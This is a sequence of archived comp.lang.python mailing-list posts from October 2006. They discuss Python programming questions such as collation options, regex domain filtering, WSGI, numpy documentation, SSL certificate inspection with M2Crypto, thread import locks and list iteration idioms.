locale.strxfrm(s) > > You should try to make this part a bit more generic. If you are > concerned about locales, do not use "comma" explicitely. In other > countries 10*100=1.000 - and 1,234 is a fraction between 1 and 2. See the most recent version of this I posted. It is a bit more generic. news://news.cox.net:119/PNxZg.6714$fl.4591 at dukeread08 Maybe a 'comma_is_decimal' option? Options are cheep so it's no problem to add them as long as they make sense. ;-) These options are what I refer to as mid-level options. The programmer does still need to know something about the data they are collating. They may still need to do some preprocessing even with this, but maybe not as much. In a higher level collation routine, I think you would just need to specify a named sort type, such as 'dictionary', 'directory', 'enventory' and it would set the options and accordingly. The problem with that approach is the higher level definitions may be different depending on locale or even the field it is used in. >> The NUMERICAL option orders leading and trailing digits as numerals. >> >> >>> t = ['a5', 'a40', '4abc', '20abc', 'a10.2', '13.5b', 'b2'] >> >>> collated(t, NUMERICAL) >> ['4abc', '13.5b', '20abc', 'a5', 'a10.2', 'a40', 'b2'] > > From the name "NUMERICAL" I would expect this sorting: b2, 4abc, a5, > a10.2, 13.5b, 20abc, a40 (that is, sorting as numbers only). > Maybe GROUP_NUMBERS... but I dont like that too much either... How about 'VALUE_ORDERING' ? The term I've seen before is called natural ordering, but that is more general and can include date, roman numerals, as well as other type. Cheers, Ron From rrr at ronadam.com Wed Oct 18 03:32:39 2006 From: rrr at ronadam.com (Ron Adam) Date: Wed, 18 Oct 2006 02:32:39 -0500 Subject: [OT] a little about regex In-Reply-To: References: Message-ID: Fulvio wrote: > *********************** > Your mail has been scanned by InterScan MSS. > *********************** > > > Hello, > > I'm trying to get working an assertion which filter address from some domain > but if it's prefixed by '.com'. > Even trying to put the result in a negate test I can't get the wanted result. > > The tought in program term : > >>>> def filter(adr): > ... import re > ... allow = re.compile('.*\.my(>|$)') > ... deny = re.compile('.*\.com\.my(>|$)') > ... cnt = 0 > ... if deny.search(adr): cnt += 1 > ... if allow.search(adr): cnt += 1 > ... return cnt > ... >>>> filter('some.ads at lazyfox.com.my') > 2 >>>> filter('some.ads at lazyfox.net.my') > 1 > > Seem that I miss some better regex implementation to avoid that both of the > filters taking action. I'm thinking of lookbehind (negative or positive) > option, but I think I couldn't realize it yet. > I think the compilation should either allow have no '.com' before '.my' or > deny should have _only_ '.com' before '.my'. Sorry I don't get the correct > sintax to do it. > > Suggestions are welcome. > > F Instead of using two separate if's, Use an if - elif and be sure to test the narrower filter first. (You have them in the correct order) That way it will skip the more general filter and not increment cnt twice. It's not exactly clear on what output you are seeking. If you want 0 for not filtered and 1 for filtered, then look to Freds Hint. Or are you writing a test at the moment, a 1 means it only passed one filter so you know your filters are working as designed? Another approach would be to assign values for filtered, accepted, and undefined and set those accordingly instead of incrementing and decrementing a counter. Cheers, Ron From operagasten at gmail.com Tue Oct 10 03:03:21 2006 From: operagasten at gmail.com (Gasten) Date: 10 Oct 2006 00:03:21 -0700 Subject: A curses-game I need help with. In-Reply-To: References: <1160302875.055414.148350@m7g2000cwm.googlegroups.com> <1160412739.247683.218620@k70g2000cwa.googlegroups.com> Message-ID: <1160463801.298135.90430@i42g2000cwa.googlegroups.com> Ben Finney wrote: > If you have a problem you'd like a lot of people to look at, the most > effective way is to make a short, complete example that demonstrates > exactly the problem you're trying to understand. I should make a demo, you say? I'm gonna do that next time. Thanks. From http Wed Oct 4 12:05:03 2006 From: http (Paul Rubin) Date: 04 Oct 2006 09:05:03 -0700 Subject: PEP 358 and operations on bytes References: <1159931141.342507.108260@e3g2000cwe.googlegroups.com> <1159974809.492898.253490@i42g2000cwa.googlegroups.com> <7xejtojdys.fsf@ruckus.brouhaha.com> <1159976793.484514.277050@h48g2000cwc.googlegroups.com> Message-ID: <7xfye4f4nk.fsf@ruckus.brouhaha.com> "John Machin" writes: > But not on other integer subtypes. If regexps should not be restricted > to text, they should work on domains whose number of symbols is greater > than 256, shouldn't they? I think the underlying regexp C library isn't written that way. I can see reasons to want a higher-level regexp library that works on arbitrary sequences, calling a user-supplied function to classify sequence elements, the way current regexps use the character code to classify characters. From mike$#at^&nospam!%trauschus Tue Oct 17 17:10:25 2006 From: mike$#at^&nospam!%trauschus (Michael B. Trausch) Date: Tue, 17 Oct 2006 17:10:25 -0400 Subject: Python Web Site? In-Reply-To: References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com> Message-ID: Tim Chase wrote: >> Is there a problem with the Python and wxPython web sites? >> I cannot seem to get them up > > Sounds like someone needs some pyagra... > > (grins, ducks, and runs) > Interesting. I thought at first it was a problem with Python's sites... but I got through to the Python site just now... but I can't get through to the wx* sites (wxwidgets.org, wxpython.org at the very least). Seems that my trouble with the Python web site itself was coincidental. -- Mike From hat at se-126.se.wtb.tue.nl Wed Oct 11 10:55:55 2006 From: hat at se-126.se.wtb.tue.nl (A.T.Hofkamp) Date: Wed, 11 Oct 2006 16:55:55 +0200 Subject: sufficiently pythonic code for testing type of function References: <452cab5d$0$5294$426a74cc@news.free.fr> Message-ID: On 2006-10-11, Bruno Desthuilliers wrote: > > Now the real question : what if the object is not an instance of any of > the types, but still support the expected interface ? > one possible answer: Use ZopeInterfaces (and ask objects 'do you implement interface X' rather than 'are you type Y') Not sure what options you have when dealing with builtin data types however. Albert From robert.kern at gmail.com Mon Oct 9 14:21:22 2006 From: robert.kern at gmail.com (Robert Kern) Date: Mon, 09 Oct 2006 14:21:22 -0400 Subject: switching to numpy and failing, a user story In-Reply-To: <1160399089.004617.120480@h48g2000cwc.googlegroups.com> References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> <1160399089.004617.120480@h48g2000cwc.googlegroups.com> Message-ID: Istvan Albert wrote: > No one is questioning one's right to try to sell a product/book etc. > But I happen to believe that trying to make money by selling the docs > is stupid, you'll scare away potential users, hinder the acceptance of > the product, further fragment the community of users needing such > functionality. Once I hit the page asking me to pay even before telling > me what NumPy does, I went back to Numeric. Even now I can't tell in > what way is NumPy different from Numeric or Numarray (I understand > that implementation wise it is different). Really? http://numpy.scipy.org/new_features.html Okay, I guess this link is indeed a few whole sentences after the mention of the book. And also after the link to the sample chapters which, lo and behold, contain even more detailed information about the changes as well as instructions on how to port Numeric and numarray code to numpy. http://numpy.scipy.org/numpybooksample.pdf > I wish the author all the best, with the remark that in this day and > age with the pervasive need for large scale management/analysis he > would/could make a lot more money by fostering relationships with > research groups (private/university) and selling his scientific > computing (support) expertise rather then a pdf file. Since he is working towards tenure, working on numpy and the book is about as much as his tenure committee will tolerate, and that grudgingly. Selling consulting services in any significant amount is probably out of the question. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From mumebuhi at gmail.com Fri Oct 27 02:15:35 2006 From: mumebuhi at gmail.com (mumebuhi) Date: 26 Oct 2006 23:15:35 -0700 Subject: To Stop a Process that is Waiting on socket.accept() In-Reply-To: References: <1161926712.933304.74090@e3g2000cwe.googlegroups.com> Message-ID: <1161929735.210222.186740@i42g2000cwa.googlegroups.com> Hi Steve, The output is as the following (excluding the "---start---" and "---end---"): ---start--- die now Traceback (most recent call last): File "../../../scratch/python/tmp.py", line 39, in ? channel, details = server.accept() File "/usr/lib/python2.4/socket.py", line 169, in accept sock, addr = self._sock.accept() File "../../../scratch/python/tmp.py", line 33, in cleanup server.shutdown(socket.SHUT_RDWR) File "", line 1, in shutdown socket.error: (128, 'Transport endpoint is not connected') ---end--- I copied and pasted the previous posting and the above is the output. It is the actual code. Sorry if I don't get your point. Buhi From robin at alldunn.com Mon Oct 23 01:45:51 2006 From: robin at alldunn.com (Robin Dunn) Date: Sun, 22 Oct 2006 22:45:51 -0700 Subject: ANN: wxPython 2.7.1.2 release Message-ID: <453C570F.9090002@alldunn.com> Announcing ---------- The 2.7.1.2 release of wxPython is now available for download at http://wxpython.org/download.php. This release is a quick-turnaround bugfix release designed to solve some problems found in the 2.7.1.1 release. Source and binaries are available for both Python 2.4 and 2.5 for Windows and Mac, as well some pacakges for varous Linux distributions. A summary of changes is listed below and also at http://wxpython.org/recentchanges.php. What is wxPython? ----------------- wxPython is a GUI toolkit for the Python programming language. It allows Python programmers to create programs with a robust, highly functional graphical user interface, simply and easily. It is implemented as a Python extension module that wraps the GUI components of the popular wxWidgets cross platform library, which is written in C++. wxPython is a cross-platform toolkit. This means that the same program will usually run on multiple platforms without modifications. Currently supported platforms are 32-bit Microsoft Windows, most Linux or other Unix-like systems using GTK2, and Mac OS X 10.3+, in most cases the native widgets are used on each platform. Changes in 2.7.1.2 ------------------ Fixed a bug in the MaskedEdit controls caused by conflicting IsEmpty methods. Patch #1579280: Some mimetype optimizations on unix-like systems. wxMac: Several wx.webkit.WebKitCtrl enhancements/fixes, including: - new methods for increasing/decreasing text size, getting selection, getting/setting scroll position, printing, enabling editing, and running JavaScripts on the page. - added new event (wx.webkit.WebKitBeforeLoadEvent) for catching, and possibly vetoing, load events before they occur. - wx.webkit.WebKitCtrl now fires mouse events for certain events that it was eating before. This improves wxSplitterWindow resizing behavior. - refactoring of the sizing logic to move the Cocoa view. Tested with splitter windows, panels, notebooks and all position correctly with this. Some improvements to the drawing code in CustomTreeCtrl. Fixed refcount leak in wx.Window.GetChildren. -- Robin Dunn Software Craftsman http://wxPython.org Java give you jitters? Relax with wxPython! From dialUAZ###UZ#$AAtone at gWARAmail.com Wed Oct 4 09:40:34 2006 From: dialUAZ###UZ#$AAtone at gWARAmail.com (Valentino Volonghi aka Dialtone) Date: Wed, 4 Oct 2006 15:40:34 +0200 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1159908166.587313.57370@i3g2000cwc.googlegroups.com> <7xr6xo97nd.fsf@ruckus.brouhaha.com> <87ac4ciynk.fsf@benfinney.id.au> Message-ID: <1hmownm.1krarjq16rt74aN%dialUAZ###UZ#$AAtone@gWARAmail.com> Terry Reedy wrote: > As I understood B.C.'s announcement, that was one of the judging criteria, > and the plan is for PSF to get a daily backup dump of the data. This had nothing to do with the choice of not using Trac or Launchpad. Quoting Brett Cannon from the original mail: "" As for Trac and Launchpad, both had fundamental issues that led to them not being chosen in the end. Most of the considerations had to do with customization or UI problems. "" So clearly the 'get a daily backup of the data' is not the reason. Backing up a sqlite database is pretty easy. -- Valentino Volonghi aka Dialtone Now Running MacOSX 10.4 Blog: http://vvolonghi.blogspot.com New Pet: http://www.stiq.it From python.sam at googlemail.com Sat Oct 7 14:17:13 2006 From: python.sam at googlemail.com (sam) Date: 7 Oct 2006 11:17:13 -0700 Subject: error handling in user input: is this natural or just laborious In-Reply-To: <1160226608.508743.173400@e3g2000cwe.googlegroups.com> References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com> <1160226608.508743.173400@e3g2000cwe.googlegroups.com> Message-ID: <1160245033.295822.50640@i3g2000cwc.googlegroups.com> a huge amount to think about there. special thanks to james for taking the time to make such detailed responses. the problem is that even though nested loops and the like place a heavy analytical burden on the programmer (i.e. me) as he tries to remember what does what, conceptualizing a program as a collection of classes and functions tied together with a minimal amount of code brings to bear what is, at the moment, an even greater burden. my gut feeling is that, over time (as james said was true in his own case), and with practice, the relative weights of these two burdens change so that the procedural approach becomes easier to adopt, and its benefits of readability and maintainability easier to enjoy. fingers crossed... i will continue coding the monte carlo machine until it does what i want in more or less clumsy fashion, and might put it up here if it feels like it would be of interest. thanks again, sam From ldo at geek-central.gen.new_zealand Mon Oct 9 00:14:08 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Mon, 09 Oct 2006 17:14:08 +1300 Subject: Why do this? References: Message-ID: In message , Duncan Booth wrote: > Corrado Gioannini wrote: > >> I often do things like this: >> >> sql = a_complex_select_sql % (id_foo, value_bar, ...) >> cursor.execute(sql) >> >> inside the body of a function (or a class method), where >> a_complex_select_sql is a string, containing several %s, %d ecc., >> that is defined globally (or somewhere else in the class). >> > I hope you have a good reason why you don't do: > > cursor.execute(a_complex_select_sql, (id_foo, value_bar, ...)) > > instead. I use the above when I can, when I can't I fall back on , . From cems at earthlink.net Sun Oct 1 10:33:07 2006 From: cems at earthlink.net (charlie strauss) Date: Sun, 1 Oct 2006 10:33:07 -0400 (EDT) Subject: Is this a bug? Python intermittently stops dead for seconds Message-ID: <32108776.1159713187905.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> Steve and other good folks who replied: I want to clarify that, on my computer, the first instance of the gap occurs way before the memory if filled. (at about 20% of physical ram). Additionally the process monitor shows no page faults. Yes if you let the as-written demo program run to completetion (all 20,000 iterations) then on many computers it would not be surprising that your computer eventually goes into forced page swapping at some point. That would be expected and is not the issue than the one I am concerned with. in my case starts glicthing at around iteration 1000. 1000(bars) x 100(foos)x(10 integers in array) is nominally 100,000 class objects and 1,000,000 array elements. (note that the array if filled as [1]*10, so there is actually only one "integer", but 10 array elements refering to it, per foo class.) However steve may have put his finger on the reason why the duration grows with time. Here is my current hypothesis. The design of the program does not have and points where significant amounts of memory are released: all objects have held references till the end. But prehaps there are some implicitly created objects of the same size created along the way??? For example when I write me.memory = [1]*nfoo perhaps internally, python is allocating an array of size foo and then __copying__ it into me.memory??? Since there is no reference to the intermediate it would then marked for future garbage collection. If that were true then the memory would have interleaved entities of things to GC and things with references held in me.memory. Then to remove these would require GC to scan the entire set of existing objects, which is growing. Turning off GC would prevent this. In any case I don't think what I'm doing is very unusual. The original program that trigger my investigation of the bug was doing this: foo was an election ballot holding 10 outcomes, and bar was a set of 100 ballots from 100 voting machines, and the total array was holding the ballot sets from a few thousand voting machines. Almost any inventory program is likely to have such a simmilar set of nested array, so it hardly seems unusual. From claus.tondering at gmail.com Tue Oct 10 10:20:31 2006 From: claus.tondering at gmail.com (Claus Tondering) Date: 10 Oct 2006 07:20:31 -0700 Subject: Using the imp module In-Reply-To: References: <1160487276.256447.187000@i42g2000cwa.googlegroups.com> Message-ID: <1160490031.724373.8230@k70g2000cwa.googlegroups.com> Fredrik Lundh wrote: > globals().update(vars(__import__("xyzzy"))) Thank you, I can use that in some cases. However, I need to import a file that is not in the load path. The imp module allows me to specify a path name; but as far as I know, the __import__ function does not allow me to do that. -- Claus Tondering From fredrik at pythonware.com Fri Oct 13 04:54:34 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 13 Oct 2006 10:54:34 +0200 Subject: Python component model References: <452b7aae$0$306$426a74cc@news.free.fr> <1160562945.079609.98640@m7g2000cwm.googlegroups.com> <452f51a3$0$30999$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: >>> Meanwhile, the Web programming standardisation scene remains >>> stagnant. >> >> Aw, come on. The Python web programming standardisation wars are over, for now. >> There's Django, and there's TurboGears, > > And there's Pylons... and a zillion other more or less interesting research projects. I don't see any traces of the kind of ecosystems and market awareness that exist for Zope, Django, and TurboGears (or for that matter, Rails and Mason), for any other Python web pro- gramming tool. From fredrik at pythonware.com Mon Oct 30 15:33:48 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 21:33:48 +0100 Subject: Python 123 introduction In-Reply-To: <17734.19013.487093.23589@montanaro.dyndns.org> References: <1162230329.413075.93370@b28g2000cwb.googlegroups.com> <17734.19013.487093.23589@montanaro.dyndns.org> Message-ID: skip at pobox.com wrote: > I'm not trying to minimize Jeremy's efforts in any way, but how is his > tutorial a significant improvement over the original > (http://www.python.org/doc/current/tut/)? don't forget the community-enhanced edition over at: pytut.infogami.com From jstroud at mbi.ucla.edu Fri Oct 13 03:52:14 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Fri, 13 Oct 2006 07:52:14 GMT Subject: Efficiently iterating over part of a list In-Reply-To: References: Message-ID: James Stroud wrote: > Steven D'Aprano wrote: >> If I want to iterate over part of the list, the normal Python idiom is to >> do something like this: >> >> alist = range(50) >> # first item is special >> x = alist[0] >> # iterate over the rest of the list >> for item in alist[1:] >> x = item >> >> The important thing to notice is that alist[1:] makes a copy. What if the >> list has millions of items and duplicating it is expensive? What do >> people >> do in that case? >> >> Are there better or more Pythonic alternatives to this obvious C-like >> idiom? >> >> for i in range(1, len(alist)): >> x = alist[i] >> >> > > I think this is a job for iterators: > > listiter = iter(alist) > > first_item_is_special = listiter.next() > > for not_special_item in listiter: > do_stuff_with(not_special_item) > > > Other solutions might involve enumerators: > > special = [i for i in xrange(50) if not i%13] > > for i,item in alist: > if i in special: > do_something_special_with(item) > else: > do_other_stuff_with(item) > > James > > > James I mean for i,item in enumerate(alist): From mail at microcorp.co.za Sat Oct 14 11:15:47 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Sat, 14 Oct 2006 17:15:47 +0200 Subject: Thread termination References: <1160732308.053202.225450@b28g2000cwb.googlegroups.com> Message-ID: <00a401c6efa3$a1406ee0$03000080@hendrik> "Nick Craig-Wood" wrote: > Hendrik van Rooyen wrote: > > can't be done from outside without co operation of thread in question. > > google this newsgroup > > Hopefully google will discover also the thread where the above statement is > proved to be false ;-) > > This might be a useful thing to search for... > > ctypes.pythonapi.PyThreadState_SetAsyncExc > Where were you when we needed you some week or two ago? I *could* argue that using ctypes is cheating.... - But I wont... - Hendrik From heikki at osafoundation.org Wed Oct 25 15:04:45 2006 From: heikki at osafoundation.org (Heikki Toivonen) Date: Wed, 25 Oct 2006 12:04:45 -0700 Subject: Obtaining SSL certificate info from SSL object - BUG? In-Reply-To: <453D95EA.1020602@animats.com> References: <453D95EA.1020602@animats.com> Message-ID: <9bidnbfH8KUNKKLYnZ2dnUVZ_qednZ2d@comcast.com> John Nagle wrote: > The Python SSL object offers two methods from obtaining > the info from an SSL certificate, "server()" and "issuer()". > The actual values in the certificate are a series of name/value > pairs in ASN.1 binary format. But what "server()" and "issuer()" > return are strings, with the pairs separated by "/". The Is it an option for you to use 3rd party libraries (please note that the Python stdlib SSL library does not do certificate validation etc. which you'd typically want in a production application)? With M2Crypto you could do something like this: from M2Crypto import SSL ctx = SSL.Context() conn = SSL.Connection(ctx) conn.connect(('www.verisign.com', 443)) cert = conn.get_peer_cert() print cert.get_issuer().as_text() print cert.get_subject().as_text() try: print cert.get_ext('subjectAltName').get_value() except LookupError: print 'no subjectAltName' try: print cert.get_subject().CN except AttributeError: print 'no commonName' Please note, however, that if you need the server name because you want to validate that you connected to the server you intended to, it would be better to let M2Crypto do it for you or use the M2Crypto SSL.Checker class explicitly yourself. Other Python crypto libraries probably have equivalent APIs. -- Heikki Toivonen From kent at kentsjohnson.com Wed Oct 4 13:04:47 2006 From: kent at kentsjohnson.com (Kent Johnson) Date: Wed, 04 Oct 2006 17:04:47 GMT Subject: preemptive OOP? In-Reply-To: <12i0iut89mqepcd@corp.supernews.com> References: <12i0iut89mqepcd@corp.supernews.com> Message-ID: Mark Elston wrote: > * Kent Johnson wrote (on 9/30/2006 2:04 PM): >> John Salerno wrote: >>> So my question in general is, is it a good idea to default to an OOP >>> design like my second example when you aren't even sure you will need >>> it? I know it won't hurt, and is probably smart to do sometimes, but >>> maybe it also just adds unnecessary code to the program. >> In general, no. I'm a strong believer in You Aren't Going to Need It >> (YAGNI): >> http://c2.com/xp/YouArentGonnaNeedIt.html >> >> because it *does* hurt >> - you have to write the code in the first place >> - every time you see a reference to MyNotebook you have to remind >> yourself that it's just a wx.Notebook >> - anyone else looking at the code has to figure out that MyNotebook is >> just wx.Notebook, and then wonder if they are missing something subtle >> because you must have had a reason to create a new class... >> >> and so on...Putting in extra complexity because you think you will need >> it later leads to code bloat. It's usually a bad idea. >> >> Possible exceptions are >> - If you are really, really, really sure you are going to need it >> really, really soon and it would be much, much easier to add it now then >> after the next three features go in, then you might consider adding it >> now. But are you really that good at predicting the future? >> - When you are working in a domain that you are very familiar with and >> the last six times you did this job, you needed this code, and you have >> no reason to think this time is any different. >> >> You struck a nerve here, I have seen so clearly at work the difference >> between projects that practice YAGNI and those that are designed to meet >> any possible contingency. It's the difference between running with >> running shoes on or wet, muddy boots. >> >> Kent > > I have only caught the tail of this thread so far so I may have missed > some important info. However, Kent's response is, I think, a bit of > an oversimplification. > > The answer to the original question, as quoted above, is ... it depends. > On several things, actually. Of course. > However, when an application (or library) is designed to provide a more > 'general purpose' solution to one or more problems and is likely to have > a lifetime beyond the 'short term' (whatever that may mean to you), then > OO can start to pay off. In these kinds of applications you see the > need for future maintenance and a likely need to expand on the existing > solution to add new features or cover new ground. This is made easier > when the mechanism for this expansion is planned for in advance. I am a fan of OOP and use it all the time. I was just arguing against using it when it is not called for. > > Without this prior planning, any expansion (not to mention bug fixing) > becomes more difficult and makes the resulting code more brittle. While > not all planning for the future requires OO, this is one mechanism that > can be employed effectively *because* it is generally well understood > and can be readily grasped *if* it is planned and documented well. Unfortunately prior planning is an attempt to predict the future. Correctly planning for future requirements is difficult. It is possible to expand code without making it brittle. Robert Martin has a great rule of thumb - first, do the simplest thing that meets the current requirements. When the requirements change, change the code so it will accommodate future changes of the same type. Rather than try to anticipate all future changes, make the code easy to change. > > There is certainly a *lot* of 'Gratuitous OOP' (GOOP?) out there. This > isn't a good thing. However, that doesn't mean that the use of OOP in > any given project is bad. It may be inappropriate. In my experience a lot of GOOP results exactly from trying to anticipate future requirements, thus introducing unneeded interfaces, factories, etc. Kent From steve at holdenweb.com Tue Oct 31 20:11:59 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 01 Nov 2006 01:11:59 +0000 Subject: import in threads: crashes & strange exceptions on dual core machines In-Reply-To: <1162337365.070683.156670@h48g2000cwc.googlegroups.com> References: <1162264611.252985.208010@m7g2000cwm.googlegroups.com> <1162337365.070683.156670@h48g2000cwc.googlegroups.com> Message-ID: Klaas wrote: > robert wrote: > >>Klaas wrote: >> >>>It seems clear that the import lock does not include fully-executing >>>the module contents. To fix this, just import cookielib before the >> >>What is the exact meaning of "not include fully-executing" - regarding the examples "import cookielib" ? >>Do you really mean the import statement can return without having executed the cookielib module code fully? >>(As said, a simple deadlock is not at all my problem) > > > No, I mean that the import lock seems to not be held while the module > contents are being executed (which would be why you are getting > partially-initialized module in sys.modules). Perhaps it _is_ held, > but released at various points of the import process. Someone more > knowledgable of python internals will have to answer the question of > what _should_ be occurring. > ... and who better than Tim Peters? http://mail.python.org/pipermail/python-list/2004-December/254497.html HTH regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From mail at microcorp.co.za Sat Oct 14 11:22:51 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Sat, 14 Oct 2006 17:22:51 +0200 Subject: Can I set up a timed callback without Tkinter or twisted or something? Message-ID: <00ac01c6efa4$9d999180$03000080@hendrik> Hi, I want to do the equivalent of the after thingy in tkinter - setting up in effect a timed call back. My use case is as a "supervisory" timer - I want to set up an alarm, which I want to cancel if the expected occurrence occurs - but its not a GUI app. My googling gets a lot of stuff pointing to optparse... Does the standard lib have anything like this? - Hendrik From hanumizzle at gmail.com Tue Oct 10 04:12:14 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 10 Oct 2006 04:12:14 -0400 Subject: OT: Sarcasm and irony In-Reply-To: References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> Message-ID: <463ff4860610100112w6d40d8ffnb0cf282a394ca446@mail.gmail.com> On 10/10/06, Steve Holden wrote: > ... in America. It's well-known among Brits that Americans don't > understand irony. They can be pretty oblique when it come to sarcasms > too, for that matter. Ford Prefect: "What?" -- Theerasak From antoine at vo.lu Mon Oct 9 10:23:34 2006 From: antoine at vo.lu (Antoine De Groote) Date: Mon, 09 Oct 2006 16:23:34 +0200 Subject: Dive Into Java? In-Reply-To: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> Message-ID: <452a5b5b@news.vo.lu> erikcw wrote: > DiveIntoPython.org was the first book I read on python, and I really > got a lot out of it. I need to start learning Java (to maintain a > project I've inherited), and was wondering if anyone knew of any > similar books for Java? > > Maybe once I know my way around the language, I can sneak Jython in... > :-) > > Thanks! > Erik > I also liked Bruce Eckel's Thinking in Java. I new Java already before, but this book was so fun to read that I read it anyway :-) From python.sam at googlemail.com Mon Oct 9 17:22:31 2006 From: python.sam at googlemail.com (sam) Date: 9 Oct 2006 14:22:31 -0700 Subject: print time comparison: IDLE versus terminal on ultra 20 In-Reply-To: <1160345716.439170.117110@e3g2000cwe.googlegroups.com> References: <1160332865.902895.315470@e3g2000cwe.googlegroups.com> <1160345716.439170.117110@e3g2000cwe.googlegroups.com> Message-ID: <1160428951.061399.311880@c28g2000cwb.googlegroups.com> i forgot to mention that i'm running a version of python 2.3 (think it's 2.3.5), as that's what was installed and i'm not hooked up to the internet with the ultra 20 yet. that may account for some of the difference. sam From martin at v.loewis.de Thu Oct 26 01:29:13 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 26 Oct 2006 07:29:13 +0200 Subject: basic questions on cmp, < and sort In-Reply-To: References: Message-ID: <454047A9.9020805@v.loewis.de> Sch?le Daniel schrieb: > first question > > In [117]: cmp("ABC",['A','B','C']) > Out[117]: 1 > > against what part of the list is the string "ABC" compared? The names of the types are compared: py> cmp("string", "list") 1 > second question > > In [119]: class X(object): > .....: pass > .....: > > In [120]: X() < X() > Out[120]: True > > what is this comparision is based on? The addresses of the objects, in main memory. > third question > > sort([[1,2,3],["ABC"],['Z','A'], X(), 4) > > how does python handle heterogenous items in the list > in this case? pair-by-pair. It is quite difficult to impose a total order on all objects; this will go away in Python 3. Regards, Martin From pretoriano_2001 at hotmail.com Tue Oct 24 20:29:39 2006 From: pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com) Date: 24 Oct 2006 17:29:39 -0700 Subject: Want to reduce steps of an operation with dictionaries Message-ID: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> Hello: I have next dictionaries: a={'a':0, 'b':1, 'c':2, 'd':3} b={'a':0, 'c':1, 'd':2, 'e':3} I want to put in a new dictionary named c all the keys that are in b and re-sequence the values. The result I want is: c={'a':0, 'c':1, 'd':2} How can I do this with one line of instruction? I attempted the next but the output is not the expected: c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)]) erroneously (for me) gets: {'a': 0, 'c': 2, 'd': 3} Thanks for your help. From lialie at gmail.com Thu Oct 12 11:20:36 2006 From: lialie at gmail.com (Mandy.Lialie) Date: Thu, 12 Oct 2006 23:20:36 +0800 Subject: What is python(abi)? In-Reply-To: References: Message-ID: <452E5D44.4030608@gmail.com> Hi, I have search it for quite a long time. But I still can't get it. When I attempt to install yum and others, it always embarrasses me. It says python(abi) = 2.4 is need. I have version 2.4 at first. But have a try version 2.5, remove 2.4. Both work well, and do well with wx. OS: FC5 THX. From onurb at xiludom.gro Mon Oct 9 06:44:22 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 09 Oct 2006 12:44:22 +0200 Subject: WSGI - How Does It Affect Me? In-Reply-To: References: Message-ID: <452a2807$0$29202$426a74cc@news.free.fr> Sybren Stuvel wrote: > Gregory Pi?ero enlightened us with: >> So I keep hearing more and more about this WSGI stuff, and honestly I >> still don't understand what it is exactly > > AFAIK it's a standard for web frameworks. It's not. It's a protocol for HTTP servers <-> Python web applications interaction, and barely higher-level than CGI itself. > In such a framework, you > receive a 'request' object, and return a 'response' object. If I'm > correct, the WSGI describes things like the method and property names > on those objects etc. It's much more simple. The "request" is a CGI-environ like dict, the "response" is made of a callable(http_code, *http_headers) plus an iterable for the response's body. Here's the standard wsgi hello_world: def hello_app(environ, start_response): start_response('200 OK', [('Content-type', 'text/plain')]) return ['Hello WSGI World'] The WSGI spec is really dead-simple. It shouldn't take much more than 10 to 15 minutes to read and understand for anyone having some basic knowledge about HTTP and web programming. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From sybrenUSE at YOURthirdtower.com.imagination Sat Oct 7 17:32:01 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Sat, 7 Oct 2006 23:32:01 +0200 Subject: operator overloading + - / * = etc... References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> Message-ID: SpreadTooThin enlightened us with: > Can these operators be overloaded? Yes. > If so. How? Implement __add__, __sub__ etc. in the class that you want to be able to add, subtract, etc. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From fulvio at tm.net.my Sat Oct 21 05:34:30 2006 From: fulvio at tm.net.my (Fulvio) Date: Sat, 21 Oct 2006 17:34:30 +0800 Subject: Debugging Message-ID: <200610211734.30652.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** Hello, I'm trying out a small utility and my method uses PDB for debugging. I tried to read some information regarding the commands of PDB but are rather synthetic. Mostly I'd like to understand the use of "condition" command in terms to use breakpoints (BP) with functions. Simple the first doubt was a counted BP. What variable using that BP and which function can be taken from the command line? 10x F From horpner at yahoo.com Thu Oct 19 15:54:14 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 19 Oct 2006 21:54:14 +0200 Subject: invert or reverse a string... warning this is a rant References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: On 2006-10-19, Fredrik Lundh wrote: > James Stroud wrote: > > > without requiring an iterator > > can we perhaps invent some more arbitrary constraints while > we're at it? No letter G. I don't like them. They wet their nests. -- Neil Cerutti You only get a once-in-a-lifetime opportunity so many 